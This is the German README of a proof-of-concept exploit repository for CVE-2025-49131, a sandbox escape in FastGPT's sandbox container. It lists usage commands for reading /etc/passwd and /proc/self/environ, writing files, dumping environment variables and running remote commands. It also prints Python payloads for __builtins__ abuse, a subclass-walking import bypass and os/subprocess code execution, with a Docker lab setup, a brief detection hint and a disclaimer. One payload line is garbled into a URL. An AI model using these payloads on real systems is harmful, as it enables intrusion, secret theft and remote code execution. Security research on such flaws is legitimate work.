
Proof-of-Concept-Exploit für CVE-2025-49131, eine Sandbox-Escape in FastGPT, die beliebiges Dateilesen/-schreiben, Import-Bypass und Remote-Code-Ausführung über die Sandbox-API ermöglicht.
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Betroffen: < v4.9.11 ║
╚═══════════════════════════════════════╝
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-49131 |
| CVSS-Score | 6.3 (Mittel) |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| Schwachstellentyp | Sandbox Escape |
| Betroffene Software | FastGPT (fastgpt-sandbox Container) |
| Betroffene Versionen | < 4.9.11 |
| Gepatchte Version | 4.9.11+ |
| Offenlegungsdatum | 9. Juni 2025 |
Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt.
CVE-2025-49131 ist eine Sandbox-Escape-Schwachstelle im fastgpt-sandbox-Container von FastGPT. Die Schwachstelle besteht aufgrund von:
Eine erfolgreiche Ausnutzung erlaubt einem Angreifer Folgendes:
# Dieses Repository klonen
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Abhängigkeiten installieren
pip install -r requirements.txt
# Schwachstellenerkennung ausführen
python poc.py --target http://localhost:3001 --detect
# Eine Datei lesen
python poc.py --target http://localhost:3001 --read /etc/passwd
# RCE versuchen
python poc.py --target http://localhost:3001 --rce "id"
# Verwundbare und gepatchte Container starten
docker-compose up -d
# Verwundbare Sandbox auf Port 3001
# Gepatchte Sandbox auf Port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Haupt-Exploit-Skript
├── payloads.py # Payload-Generator-Bibliothek
├── docker-compose.yml # Testumgebung
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
└── tests/
└── test_exploit.py # Automatisierte Tests
Die FastGPT-Sandbox ist dazu ausgelegt, benutzereingereichten Code in einer isolierten Umgebung auszuführen. Die Isolierungsmechanismen sind jedoch unzureichend:
Python-__builtins__-Zugriff – Die Sandbox schränkt den Zugriff auf eingebaute Funktionen wie open(), __import__() usw. nicht richtig ein.
Syscall-Filterung – Die Liste der erlaubten Syscalls enthält gefährliche Aufrufe, die Dateisystemzugriff ermöglichen.
Umgehung von Importbeschränkungen – Es existieren mehrere Techniken, um Modul-Importbeschränkungen zu umgehen.
┌─────────────────────────────────────────────┐
│ 1. Schadcode an die Sandbox-API senden │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Sandbox-Beschränkungen umgehen mit: │
│ - __builtins__-Manipulation │
│ - Subclass-Walking │
│ - Import-Bypass-Techniken │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Zugriff erlangen auf: │
│ - Dateisystem (Lesen/Schreiben) │
│ - os/subprocess-Module │
│ - Umgebungsvariablen │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Auswirkungen: │
│ - Datenextraktion │
│ - Code-Injection │
│ - Remote-Befehlsausführung │
└─────────────────────────────────────────────┘
Datei lesen:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Import umgehen:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)
RCE (Remote Code Execution):
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
Achten Sie in den Sandbox-Logs auf verdächtige Aktivitäten:
/etc/passwd, /etc/shadow zuzugreifen__builtins__, __import__| Datum | Ereignis |
|---|---|
| 2025-??-?? | Schwachstelle entdeckt |
| 2025-??-?? | Anbieter benachrichtigt |
| 2025-06-?? | Patch veröffentlicht (v4.9.11) |
| 2025-06-09 | Öffentliche Offenlegung |
Dieses Projekt dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Verantwortungsvoll nutzen.
Erstellt für Sicherheitsforschungszwecke. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Tests durchführen.